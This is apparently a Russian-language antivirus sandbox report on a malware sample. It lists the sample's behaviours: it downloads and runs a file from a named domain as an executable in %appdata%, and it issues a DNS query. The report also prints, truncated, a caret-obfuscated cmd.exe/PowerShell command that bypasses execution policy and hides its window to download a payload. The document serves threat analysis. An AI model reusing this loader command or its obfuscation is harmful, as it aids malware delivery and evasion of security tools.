Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^O^w^E^RSHEL^l.Exe ^-^EXECUTiONPOLI^Cy^ B^y^PASs ^-^n^OPr^oFi^l^E -WiNd^OW^styLe ^HI^D^D^EN (nE^w-oBJ^EC^T sy^S^te^m.NE^T^.W^EBc^L^Ient).DOWN^LO^aDf^I^le('http://www.zoe...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^O^w^E^RSHEL^l.Exe ^-^EXECUTiONPOLI^Cy^ B^y^PASs ^-^n^OPr^oFi^l^E -WiNd^OW^styLe ^HI^D^D^EN (nE^w-oBJ^EC^T sy^S^te^m.NE^T^.W^EBc^L^Ient).DOWN^LO^aDf^I^le('http://www.zoe...' (со скрытым окном)
